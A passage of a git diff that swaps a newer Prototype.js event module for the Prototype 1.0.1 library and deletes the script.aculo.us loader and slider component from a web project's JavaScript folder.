-    KEY_RETURN:   13,
-    KEY_ESC:      27,
-    KEY_LEFT:     37,
-    KEY_UP:       38,
-    KEY_RIGHT:    39,
-    KEY_DOWN:     40,
-    KEY_DELETE:   46,
-    KEY_HOME:     36,
-    KEY_END:      35,
-    KEY_PAGEUP:   33,
-    KEY_PAGEDOWN: 34,
-    KEY_INSERT:   45,
-
-    cache: {}
-  };
-
-  var docEl = document.documentElement;
-  var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = 'onmouseenter' in docEl
-    && 'onmouseleave' in docEl;
-
-  var _isButton;
-  if (Prototype.Browser.IE) {
-    var buttonMap = { 0: 1, 1: 4, 2: 2 };
-    _isButton = function(event, code) {
-      return event.button === buttonMap[code];
-    };
-  } else if (Prototype.Browser.WebKit) {
-    _isButton = function(event, code) {
-      switch (code) {
-        case 0: return event.which == 1 && !event.metaKey;
-        case 1: return event.which == 1 && event.metaKey;
-        default: return false;
-      }
-    };
-  } else {
-    _isButton = function(event, code) {
-      return event.which ? (event.which === code + 1) : (event.button === code);
-    };
-  }
-
-  function isLeftClick(event)   { return _isButton(event, 0) }
-
-  function isMiddleClick(event) { return _isButton(event, 1) }
-
-  function isRightClick(event)  { return _isButton(event, 2) }
-
-  function element(event) {
-    event = Event.extend(event);
-
-    var node = event.target, type = event.type,
-     currentTarget = event.currentTarget;
-
-    if (currentTarget && currentTarget.tagName) {
-      if (type === 'load' || type === 'error' ||
-        (type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
-          && currentTarget.type === 'radio'))
-            node = currentTarget;
-    }
-
-    if (node.nodeType == Node.TEXT_NODE)
-      node = node.parentNode;
-
-    return Element.extend(node);
-  }
-
-  function findElement(event, expression) {
-    var element = Event.element(event);
-    if (!expression) return element;
-    var elements = [element].concat(element.ancestors());
-    return Selector.findElement(elements, expression, 0);
-  }
-
-  function pointer(event) {
-    return { x: pointerX(event), y: pointerY(event) };
-  }
-
-  function pointerX(event) {
-    var docElement = document.documentElement,
-     body = document.body || { scrollLeft: 0 };
-
-    return event.pageX || (event.clientX +
-      (docElement.scrollLeft || body.scrollLeft) -
-      (docElement.clientLeft || 0));
-  }
-
-  function pointerY(event) {
-    var docElement = document.documentElement,
-     body = document.body || { scrollTop: 0 };
-
-    return  event.pageY || (event.clientY +
-       (docElement.scrollTop || body.scrollTop) -
-       (docElement.clientTop || 0));
-  }
-
-
-  function stop(event) {
-    Event.extend(event);
-    event.preventDefault();
-    event.stopPropagation();
-
-    event.stopped = true;
-  }
-
-  Event.Methods = {
-    isLeftClick: isLeftClick,
-    isMiddleClick: isMiddleClick,
-    isRightClick: isRightClick,
-
-    element: element,
-    findElement: findElement,
-
-    pointer: pointer,
-    pointerX: pointerX,
-    pointerY: pointerY,
-
-    stop: stop
-  };
-
-
-  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
-    m[name] = Event.Methods[name].methodize();
-    return m;
-  });
-
-  if (Prototype.Browser.IE) {
-    function _relatedTarget(event) {
-      var element;
-      switch (event.type) {
-        case 'mouseover': element = event.fromElement; break;
-        case 'mouseout':  element = event.toElement;   break;
-        default: return null;
-      }
-      return Element.extend(element);
-    }
-
-    Object.extend(methods, {
-      stopPropagation: function() { this.cancelBubble = true },
-      preventDefault:  function() { this.returnValue = false },
-      inspect: function() { return '[object Event]' }
-    });
-
-    Event.extend = function(event, element) {
-      if (!event) return false;
-      if (event._extendedByPrototype) return event;
-
-      event._extendedByPrototype = Prototype.emptyFunction;
-      var pointer = Event.pointer(event);
-
-      Object.extend(event, {
-        target: event.srcElement || element,
-        relatedTarget: _relatedTarget(event),
-        pageX:  pointer.x,
-        pageY:  pointer.y
-      });
-
-      return Object.extend(event, methods);
-    };
-  } else {
-    Event.prototype = window.Event.prototype || document.createEvent('HTMLEvents').__proto__;
-    Object.extend(Event.prototype, methods);
-    Event.extend = Prototype.K;
-  }
-
-  function _createResponder(element, eventName, handler) {
-    var registry = Element.retrieve(element, 'prototype_event_registry');
-
-    if (Object.isUndefined(registry)) {
-      CACHE.push(element);
-      registry = Element.retrieve(element, 'prototype_event_registry', $H());
-    }
-
-    var respondersForEvent = registry.get(eventName);
-    if (Object.isUndefined(respondersForEvent)) {
-      respondersForEvent = [];
-      registry.set(eventName, respondersForEvent);
-    }
-
-    if (respondersForEvent.pluck('handler').include(handler)) return false;
-
-    var responder;
-    if (eventName.include(":")) {
-      responder = function(event) {
-        if (Object.isUndefined(event.eventName))
-          return false;
-
-        if (event.eventName !== eventName)
-          return false;
-
-        Event.extend(event, element);
-        handler.call(element, event);
-      };
-    } else {
-      if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED &&
-       (eventName === "mouseenter" || eventName === "mouseleave")) {
-        if (eventName === "mouseenter" || eventName === "mouseleave") {
-          responder = function(event) {
-            Event.extend(event, element);
-
-            var parent = event.relatedTarget;
-            while (parent && parent !== element) {
-              try { parent = parent.parentNode; }
-              catch(e) { parent = element; }
-            }
-
-            if (parent === element) return;
-
-            handler.call(element, event);
-          };
-        }
-      } else {
-        responder = function(event) {
-          Event.extend(event, element);
-          handler.call(element, event);
-        };
-      }
-    }
-
-    responder.handler = handler;
-    respondersForEvent.push(responder);
-    return responder;
-  }
-
-  function _destroyCache() {
-    for (var i = 0, length = CACHE.length; i < length; i++) {
-      Event.stopObserving(CACHE[i]);
-      CACHE[i] = null;
-    }
-  }
-
-  var CACHE = [];
-
-  if (Prototype.Browser.IE)
-    window.attachEvent('onunload', _destroyCache);
-
-  if (Prototype.Browser.WebKit)
-    window.addEventListener('unload', Prototype.emptyFunction, false);
-
-
-  var _getDOMEventName = Prototype.K;
-
-  if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED) {
-    _getDOMEventName = function(eventName) {
-      var translations = { mouseenter: "mouseover", mouseleave: "mouseout" };
-      return eventName in translations ? translations[eventName] : eventName;
-    };
-  }
-
-  function observe(element, eventName, handler) {
-    element = $(element);
-
-    var responder = _createResponder(element, eventName, handler);
-
-    if (!responder) return element;
-
-    if (eventName.include(':')) {
-      if (element.addEventListener)
-        element.addEventListener("dataavailable", responder, false);
-      else {
-        element.attachEvent("ondataavailable", responder);
-        element.attachEvent("onfilterchange", responder);
-      }
-    } else {
-      var actualEventName = _getDOMEventName(eventName);
-
-      if (element.addEventListener)
-        element.addEventListener(actualEventName, responder, false);
-      else
-        element.attachEvent("on" + actualEventName, responder);
-    }
-
-    return element;
-  }
-
-  function stopObserving(element, eventName, handler) {
-    element = $(element);
-
-    var registry = Element.retrieve(element, 'prototype_event_registry');
-
-    if (Object.isUndefined(registry)) return element;
-
-    if (eventName && !handler) {
-      var responders = registry.get(eventName);
-
-      if (Object.isUndefined(responders)) return element;
-
-      responders.each( function(r) {
-        Element.stopObserving(element, eventName, r.handler);
-      });
-      return element;
-    } else if (!eventName) {
-      registry.each( function(pair) {
-        var eventName = pair.key, responders = pair.value;
-
-        responders.each( function(r) {
-          Element.stopObserving(element, eventName, r.handler);
-        });
-      });
-      return element;
-    }
-
-    var responders = registry.get(eventName);
-
-    if (!responders) return;
-
-    var responder = responders.find( function(r) { return r.handler === handler; });
-    if (!responder) return element;
-
-    var actualEventName = _getDOMEventName(eventName);
-
-    if (eventName.include(':')) {
-      if (element.removeEventListener)
-        element.removeEventListener("dataavailable", responder, false);
-      else {
-        element.detachEvent("ondataavailable", responder);
-        element.detachEvent("onfilterchange",  responder);
-      }
-    } else {
-      if (element.removeEventListener)
-        element.removeEventListener(actualEventName, responder, false);
-      else
-        element.detachEvent('on' + actualEventName, responder);
-    }
-
-    registry.set(eventName, responders.without(responder));
-
-    return element;
-  }
-
-  function fire(element, eventName, memo, bubble) {
-    element = $(element);
-
-    if (Object.isUndefined(bubble))
-      bubble = true;
-
-    if (element == document && document.createEvent && !element.dispatchEvent)
-      element = document.documentElement;
-
-    var event;
-    if (document.createEvent) {
-      event = document.createEvent('HTMLEvents');
-      event.initEvent('dataavailable', true, true);
-    } else {
-      event = document.createEventObject();
-      event.eventType = bubble ? 'ondataavailable' : 'onfilterchange';
-    }
-
-    event.eventName = eventName;
-    event.memo = memo || { };
-
-    if (document.createEvent)
-      element.dispatchEvent(event);
-    else
-      element.fireEvent(event.eventType, event);
-
-    return Event.extend(event);
-  }
-
-
-  Object.extend(Event, Event.Methods);
-
-  Object.extend(Event, {
-    fire:          fire,
-    observe:       observe,
-    stopObserving: stopObserving
-  });
-
-  Element.addMethods({
-    fire:          fire,
-
-    observe:       observe,
-
-    stopObserving: stopObserving
-  });
-
-  Object.extend(document, {
-    fire:          fire.methodize(),
-
-    observe:       observe.methodize(),
-
-    stopObserving: stopObserving.methodize(),
-
-    loaded:        false
-  });
-
-  if (window.Event) Object.extend(window.Event, Event);
-  else window.Event = Event;
-})();
-
-(function() {
-  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
-     Matthias Miller, Dean Edwards, John Resig, and Diego Perini. */
-
-  var timer;
-
-  function fireContentLoadedEvent() {
-    if (document.loaded) return;
-    if (timer) window.clearTimeout(timer);
-    document.loaded = true;
-    document.fire('dom:loaded');
-  }
-
-  function checkReadyState() {
-    if (document.readyState === 'complete') {
-      document.stopObserving('readystatechange', checkReadyState);
-      fireContentLoadedEvent();
-    }
-  }
-
-  function pollDoScroll() {
-    try { document.documentElement.doScroll('left'); }
-    catch(e) {
-      timer = pollDoScroll.defer();
-      return;
-    }
-    fireContentLoadedEvent();
-  }
-
-  if (document.addEventListener) {
-    document.addEventListener('DOMContentLoaded', fireContentLoadedEvent, false);
-  } else {
-    document.observe('readystatechange', checkReadyState);
-    if (window == top)
-      timer = pollDoScroll.defer();
-  }
-
-  Event.observe(window, 'load', fireContentLoadedEvent);
-})();
-
-Element.addMethods();
-
-/*------------------------------- DEPRECATED -------------------------------*/
-
-Hash.toQueryString = Object.toQueryString;
-
-var Toggle = { display: Element.toggle };
-
-Element.Methods.childOf = Element.Methods.descendantOf;
-
-var Insertion = {
-  Before: function(element, content) {
-    return Element.insert(element, {before:content});
-  },
-
-  Top: function(element, content) {
-    return Element.insert(element, {top:content});
-  },
-
-  Bottom: function(element, content) {
-    return Element.insert(element, {bottom:content});
-  },
-
-  After: function(element, content) {
-    return Element.insert(element, {after:content});
-  }
-};
-
-var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
-
-var Position = {
-  includeScrollOffsets: false,
-
-  prepare: function() {
-    this.deltaX =  window.pageXOffset
-                || document.documentElement.scrollLeft
-                || document.body.scrollLeft
-                || 0;
-    this.deltaY =  window.pageYOffset
-                || document.documentElement.scrollTop
-                || document.body.scrollTop
-                || 0;
-  },
-
-  within: function(element, x, y) {
-    if (this.includeScrollOffsets)
-      return this.withinIncludingScrolloffsets(element, x, y);
-    this.xcomp = x;
-    this.ycomp = y;
-    this.offset = Element.cumulativeOffset(element);
-
-    return (y >= this.offset[1] &&
-            y <  this.offset[1] + element.offsetHeight &&
-            x >= this.offset[0] &&
-            x <  this.offset[0] + element.offsetWidth);
-  },
-
-  withinIncludingScrolloffsets: function(element, x, y) {
-    var offsetcache = Element.cumulativeScrollOffset(element);
-
-    this.xcomp = x + offsetcache[0] - this.deltaX;
-    this.ycomp = y + offsetcache[1] - this.deltaY;
-    this.offset = Element.cumulativeOffset(element);
-
-    return (this.ycomp >= this.offset[1] &&
-            this.ycomp <  this.offset[1] + element.offsetHeight &&
-            this.xcomp >= this.offset[0] &&
-            this.xcomp <  this.offset[0] + element.offsetWidth);
-  },
-
-  overlap: function(mode, element) {
-    if (!mode) return 0;
-    if (mode == 'vertical')
-      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
-        element.offsetHeight;
-    if (mode == 'horizontal')
-      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
-        element.offsetWidth;
-  },
-
-
-  cumulativeOffset: Element.Methods.cumulativeOffset,
-
-  positionedOffset: Element.Methods.positionedOffset,
-
-  absolutize: function(element) {
-    Position.prepare();
-    return Element.absolutize(element);
-  },
-
-  relativize: function(element) {
-    Position.prepare();
-    return Element.relativize(element);
-  },
-
-  realOffset: Element.Methods.cumulativeScrollOffset,
-
-  offsetParent: Element.Methods.getOffsetParent,
-
-  page: Element.Methods.viewportOffset,
-
-  clone: function(source, target, options) {
-    options = options || { };
-    return Element.clonePosition(target, source, options);
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
-  function iter(name) {
-    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
-  }
-
-  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
-  function(element, className) {
-    className = className.toString().strip();
-    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
-    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
-  } : function(element, className) {
-    className = className.toString().strip();
-    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
-    if (!classNames && !className) return elements;
-
-    var nodes = $(element).getElementsByTagName('*');
-    className = ' ' + className + ' ';
-
-    for (var i = 0, child, cn; child = nodes[i]; i++) {
-      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
-          (classNames && classNames.all(function(name) {
-            return !name.toString().blank() && cn.include(' ' + name + ' ');
-          }))))
-        elements.push(Element.extend(child));
-    }
-    return elements;
-  };
-
-  return function(className, parentElement) {
-    return $(parentElement || document.body).getElementsByClassName(className);
-  };
-}(Element.Methods);
-
-/*--------------------------------------------------------------------------*/
-
-Element.ClassNames = Class.create();
-Element.ClassNames.prototype = {
-  initialize: function(element) {
-    this.element = $(element);
-  },
-
-  _each: function(iterator) {
-    this.element.className.split(/\s+/).select(function(name) {
-      return name.length > 0;
-    })._each(iterator);
-  },
-
-  set: function(className) {
-    this.element.className = className;
-  },
-
-  add: function(classNameToAdd) {
-    if (this.include(classNameToAdd)) return;
-    this.set($A(this).concat(classNameToAdd).join(' '));
-  },
-
-  remove: function(classNameToRemove) {
-    if (!this.include(classNameToRemove)) return;
-    this.set($A(this).without(classNameToRemove).join(' '));
-  },
-
-  toString: function() {
-    return $A(this).join(' ');
-  }
-};
-
-Object.extend(Element.ClassNames.prototype, Enumerable);
-
-/*--------------------------------------------------------------------------*/
+/*  Prototype: an object-oriented Javascript library, version 1.0.1
+ *  (c) 2005 Sam Stephenson <sam@conio.net>
+ *
+ *  Prototype is freely distributable under the terms of an MIT-style license. 
+ *  For details, see http://prototype.conio.net/
+ */
+
+Prototype = {
+  Version: '1.0.1'
+}
+
+Class = {
+  create: function() {
+    return function() { 
+      this.initialize.apply(this, arguments);
+    }
+  }
+}
+
+Abstract = new Object();
+
+Object.prototype.extend = function(object) {
+  for (property in object) {
+    this[property] = object[property];
+  }
+  return this;
+}
+
+Function.prototype.bind = function(object) {
+  var method = this;
+  return function() {
+    method.apply(object, arguments);
+  }
+}
+
+Function.prototype.bindAsEventListener = function(object) {
+  var method = this;
+  return function(event) {
+    method.call(object, event || window.event);
+  }
+}
+
+Try = {
+  these: function() {
+    var returnValue;
+    
+    for (var i = 0; i < arguments.length; i++) {
+      var lambda = arguments[i];
+      try {
+        returnValue = lambda();
+        break;
+      } catch (e) {}
+    }
+    
+    return returnValue;
+  }
+}
+
+Toggle = {
+  display: function() {
+    for (var i = 0; i < elements.length; i++) {
+      var element = $(elements[i]);
+      element.style.display = 
+        (element.style.display == 'none' ? '' : 'none');
+    }
+  }
+}
+
+/*--------------------------------------------------------------------------*/
+
+function $() {
+  var elements = new Array();
+  
+  for (var i = 0; i < arguments.length; i++) {
+    var element = arguments[i];
+    if (typeof element == 'string')
+      element = document.getElementById(element);
+
+    if (arguments.length == 1) 
+      return element;
+      
+    elements.push(element);
+  }
+  
+  return elements;
+}
+
+function getElementsByClassName(className, element) {
+  var children = (element || document).getElementsByTagName('*');
+  var elements = new Array();
+  
+  for (var i = 0; i < children.length; i++) {
+    var child = children[i];
+    var classNames = child.className.split(' ');
+    for (var j = 0; j < classNames.length; j++) {
+      if (classNames[j] == className) {
+        elements.push(child);
+        break;
+      }
+    }
+  }
+  
+  return elements;
+}
+
+/*--------------------------------------------------------------------------*/
+
+Ajax = {
+  getTransport: function() {
+    return Try.these(
+      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
+      function() {return new ActiveXObject('Microsoft.XMLHTTP')},
+      function() {return new XMLHttpRequest()}
+    ) || false;
+  },
+  
+  emptyFunction: function() {}
+}
+
+Ajax.Base = function() {};
+Ajax.Base.prototype = {
+  setOptions: function(options) {
+    this.options = {
+      method:       'post',
+      asynchronous: true,
+      parameters:   ''
+    }.extend(options || {});
+  }
+}
+
+Ajax.Request = Class.create();
+Ajax.Request.Events = 
+  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
+
+Ajax.Request.prototype = (new Ajax.Base()).extend({
+  initialize: function(url, options) {
+    this.transport = Ajax.getTransport();
+    this.setOptions(options);
+  
+    try {
+      if (this.options.method == 'get')
+        url += '?' + this.options.parameters + '&_=';
+    
+      this.transport.open(this.options.method, url, true);
+      
+      if (this.options.asynchronous) {
+        this.transport.onreadystatechange = this.onStateChange.bind(this);
+        setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10);
+      }
+              
+      if (this.options.method == 'post') {
+        this.transport.setRequestHeader('Connection', 'close');
+        this.transport.setRequestHeader('Content-type',
+          'application/x-www-form-urlencoded');
+      }
+      
+      this.transport.send(this.options.method == 'post' ? 
+        this.options.parameters + '&_=' : null);
+                      
+    } catch (e) {
+    }    
+  },
+      
+  onStateChange: function() {
+    var readyState = this.transport.readyState;
+    if (readyState != 1)
+      this.respondToReadyState(this.transport.readyState);
+  },
+  
+  respondToReadyState: function(readyState) {
+    var event = Ajax.Request.Events[readyState];
+    (this.options['on' + event] || Ajax.emptyFunction)(this.transport);
+  }
+});
+
+Ajax.Updater = Class.create();
+Ajax.Updater.prototype = (new Ajax.Base()).extend({
+  initialize: function(container, url, options) {
+    this.container = $(container);
+    this.setOptions(options);
+  
+    if (this.options.asynchronous) {
+      this.onComplete = this.options.onComplete;
+      this.options.onComplete = this.updateContent.bind(this);
+    }
+    
+    this.request = new Ajax.Request(url, this.options);
+    
+    if (!this.options.asynchronous)
+      this.updateContent();
+  },
+  
+  updateContent: function() {
+    this.container.innerHTML = this.request.transport.responseText;
+    if (this.onComplete) this.onComplete(this.request);
+  }
+});
+
+/*--------------------------------------------------------------------------*/
+
+Field = {
+  clear: function() {
+    for (var i = 0; i < arguments.length; i++)
+      $(arguments[i]).value = '';
+  },
+
+  focus: function(element) {
+    $(element).focus();
+  },
+  
+  present: function() {
+    for (var i = 0; i < arguments.length; i++)
+      if ($(arguments[i]).value == '') return false;
+    return true;
+  }
+}
+
+/*--------------------------------------------------------------------------*/
+
+Form = {
+  serialize: function(form) {
+    var elements = Form.getElements($(form));
+    var queryComponents = new Array();
+    
+    for (var i = 0; i < elements.length; i++) {
+      var queryComponent = Form.Element.serialize(elements[i]);
+      if (queryComponent)
+        queryComponents.push(queryComponent);
+    }
+    
+    return queryComponents.join('&');
+  },
+  
+  getElements: function(form) {
+    form = $(form);
+    var elements = new Array();
+
+    for (tagName in Form.Element.Serializers) {
+      var tagElements = form.getElementsByTagName(tagName);
+      for (var j = 0; j < tagElements.length; j++)
+        elements.push(tagElements[j]);
+    }
+    return elements;
+  }
+}
+
+Form.Element = {
+  serialize: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    var parameter = Form.Element.Serializers[method](element);
+    
+    if (parameter)
+      return encodeURIComponent(parameter[0]) + '=' + 
+        encodeURIComponent(parameter[1]);                   
+  },
+  
+  getValue: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    var parameter = Form.Element.Serializers[method](element);
+    
+    if (parameter) 
+      return parameter[1];
+  }
+}
+
+Form.Element.Serializers = {
+  input: function(element) {
+    switch (element.type.toLowerCase()) {
+      case 'hidden':
+      case 'text':
+        return Form.Element.Serializers.textarea(element);
+      case 'checkbox':  
+      case 'radio':
+        return Form.Element.Serializers.inputSelector(element);
+    }
+  },
+
+  inputSelector: function(element) {
+    if (element.checked)
+      return [element.name, element.value];
+  },
+
+  textarea: function(element) {
+    return [element.name, element.value];
+  },
+
+  select: function(element) {
+    var index = element.selectedIndex;
+    return [element.name, (index >= 0) ? element.options[index].value : ''];
+  }
+}
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.TimedObserver = function() {}
+Abstract.TimedObserver.prototype = {
+  initialize: function(element, frequency, callback) {
+    this.frequency = frequency;
+    this.element   = $(element);
+    this.callback  = callback;
+    
+    this.lastValue = this.getValue();
+    this.registerCallback();
+  },
+  
+  registerCallback: function() {
+    setTimeout(this.onTimerEvent.bind(this), this.frequency * 1000);
+  },
+  
+  onTimerEvent: function() {
+    var value = this.getValue();
+    if (this.lastValue != value) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+    
+    this.registerCallback();
+  }
+}
+
+Form.Element.Observer = Class.create();
+Form.Element.Observer.prototype = (new Abstract.TimedObserver()).extend({
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.Observer = Class.create();
+Form.Observer.prototype = (new Abstract.TimedObserver()).extend({
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+
diff --git a/public/javascripts/scriptaculous.js b/public/javascripts/scriptaculous.js
deleted file mode 100644
index 6bf437ac..00000000
--- a/public/javascripts/scriptaculous.js
+++ /dev/null
@@ -1,68 +0,0 @@
-// script.aculo.us scriptaculous.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
-
-// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-//
-// Permission is hereby granted, free of charge, to any person obtaining
-// a copy of this software and associated documentation files (the
-// "Software"), to deal in the Software without restriction, including
-// without limitation the rights to use, copy, modify, merge, publish,
-// distribute, sublicense, and/or sell copies of the Software, and to
-// permit persons to whom the Software is furnished to do so, subject to
-// the following conditions:
-//
-// The above copyright notice and this permission notice shall be
-// included in all copies or substantial portions of the Software.
-//
-// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-//
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-var Scriptaculous = {
-  Version: '1.8.3',
-  require: function(libraryName) {
-    try{
-      // inserting via DOM fails in Safari 2.0, so brute force approach
-      document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
-    } catch(e) {
-      // for xhtml+xml served content, fall back to DOM methods
-      var script = document.createElement('script');
-      script.type = 'text/javascript';
-      script.src = libraryName;
-      document.getElementsByTagName('head')[0].appendChild(script);
-    }
-  },
-  REQUIRED_PROTOTYPE: '1.6.0.3',
-  load: function() {
-    function convertVersionString(versionString) {
-      var v = versionString.replace(/_.*|\./g, '');
-      v = parseInt(v + '0'.times(4-v.length));
-      return versionString.indexOf('_') > -1 ? v-1 : v;
-    }
-
-    if((typeof Prototype=='undefined') ||
-       (typeof Element == 'undefined') ||
-       (typeof Element.Methods=='undefined') ||
-       (convertVersionString(Prototype.Version) <
-        convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
-       throw("script.aculo.us requires the Prototype JavaScript framework >= " +
-        Scriptaculous.REQUIRED_PROTOTYPE);
-
-    var js = /scriptaculous\.js(\?.*)?$/;
-    $$('head script[src]').findAll(function(s) {
-      return s.src.match(js);
-    }).each(function(s) {
-      var path = s.src.replace(js, ''),
-      includes = s.src.match(/\?.*load=([a-z,]*)/);
-      (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each(
-       function(include) { Scriptaculous.require(path+include+'.js') });
-    });
-  }
-};
-
-Scriptaculous.load();
\ No newline at end of file
diff --git a/public/javascripts/slider.js b/public/javascripts/slider.js
deleted file mode 100644
index eb830558..00000000
--- a/public/javascripts/slider.js
+++ /dev/null
@@ -1,275 +0,0 @@
-// script.aculo.us slider.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
-
-// Copyright (c) 2005-2009 Marty Haught, Thomas Fuchs
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-if (!Control) var Control = { };
-
-// options:
-//  axis: 'vertical', or 'horizontal' (default)
-//
-// callbacks:
-//  onChange(value)
-//  onSlide(value)
-Control.Slider = Class.create({
-  initialize: function(handle, track, options) {
-    var slider = this;
-
-    if (Object.isArray(handle)) {
-      this.handles = handle.collect( function(e) { return $(e) });
-    } else {
-      this.handles = [$(handle)];
-    }
-
-    this.track   = $(track);
-    this.options = options || { };
-
-    this.axis      = this.options.axis || 'horizontal';
-    this.increment = this.options.increment || 1;
-    this.step      = parseInt(this.options.step || '1');
-    this.range     = this.options.range || $R(0,1);
-
-    this.value     = 0; // assure backwards compat
-    this.values    = this.handles.map( function() { return 0 });
-    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
-    this.options.startSpan = $(this.options.startSpan || null);
-    this.options.endSpan   = $(this.options.endSpan || null);
-
-    this.restricted = this.options.restricted || false;
-
-    this.maximum   = this.options.maximum || this.range.end;
-    this.minimum   = this.options.minimum || this.range.start;
-
-    // Will be used to align the handle onto the track, if necessary
-    this.alignX = parseInt(this.options.alignX || '0');
-    this.alignY = parseInt(this.options.alignY || '0');
-
-    this.trackLength = this.maximumOffset() - this.minimumOffset();
-
-    this.handleLength = this.isVertical() ?
-      (this.handles[0].offsetHeight != 0 ?
-        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) :
-      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth :
-        this.handles[0].style.width.replace(/px$/,""));
-
-    this.active   = false;
-    this.dragging = false;
-    this.disabled = false;
-
-    if (this.options.disabled) this.setDisabled();
-
-    // Allowed values array
-    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
-    if (this.allowedValues) {
-      this.minimum = this.allowedValues.min();
-      this.maximum = this.allowedValues.max();
-    }
-
-    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
-    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
-    this.eventMouseMove = this.update.bindAsEventListener(this);
-
-    // Initialize handles in reverse (make sure first handle is active)
-    this.handles.each( function(h,i) {
-      i = slider.handles.length-1-i;
-      slider.setValue(parseFloat(
-        (Object.isArray(slider.options.sliderValue) ?
-          slider.options.sliderValue[i] : slider.options.sliderValue) ||
-         slider.range.start), i);
-      h.makePositioned().observe("mousedown", slider.eventMouseDown);
-    });
-
-    this.track.observe("mousedown", this.eventMouseDown);
-    document.observe("mouseup", this.eventMouseUp);
-    document.observe("mousemove", this.eventMouseMove);
-
-    this.initialized = true;
-  },
-  dispose: function() {
-    var slider = this;
-    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
-    Event.stopObserving(document, "mouseup", this.eventMouseUp);
-    Event.stopObserving(document, "mousemove", this.eventMouseMove);
-    this.handles.each( function(h) {
-      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
-    });
-  },
-  setDisabled: function(){
-    this.disabled = true;
-  },
-  setEnabled: function(){
-    this.disabled = false;
-  },
-  getNearestValue: function(value){
-    if (this.allowedValues){
-      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
-      if (value <= this.allowedValues.min()) return(this.allowedValues.min());
-
-      var offset = Math.abs(this.allowedValues[0] - value);
-      var newValue = this.allowedValues[0];
-      this.allowedValues.each( function(v) {
-        var currentOffset = Math.abs(v - value);
-        if (currentOffset <= offset){
-          newValue = v;
-          offset = currentOffset;
-        }
-      });
-      return newValue;
-    }
-    if (value > this.range.end) return this.range.end;
-    if (value < this.range.start) return this.range.start;
-    return value;
-  },
-  setValue: function(sliderValue, handleIdx){
-    if (!this.active) {
-      this.activeHandleIdx = handleIdx || 0;
-      this.activeHandle    = this.handles[this.activeHandleIdx];
-      this.updateStyles();
-    }
-    handleIdx = handleIdx || this.activeHandleIdx || 0;
-    if (this.initialized && this.restricted) {
-      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
-        sliderValue = this.values[handleIdx-1];
-      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
-        sliderValue = this.values[handleIdx+1];
-    }
-    sliderValue = this.getNearestValue(sliderValue);
-    this.values[handleIdx] = sliderValue;
-    this.value = this.values[0]; // assure backwards compat
-
-    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] =
-      this.translateToPx(sliderValue);
-
-    this.drawSpans();
-    if (!this.dragging || !this.event) this.updateFinished();
-  },
-  setValueBy: function(delta, handleIdx) {
-    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta,
-      handleIdx || this.activeHandleIdx || 0);
-  },
-  translateToPx: function(value) {
-    return Math.round(
-      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) *
-      (value - this.range.start)) + "px";
-  },
-  translateToValue: function(offset) {
-    return ((offset/(this.trackLength-this.handleLength) *
-      (this.range.end-this.range.start)) + this.range.start);
-  },
-  getRange: function(range) {
-    var v = this.values.sortBy(Prototype.K);
-    range = range || 0;
-    return $R(v[range],v[range+1]);
-  },
-  minimumOffset: function(){
-    return(this.isVertical() ? this.alignY : this.alignX);
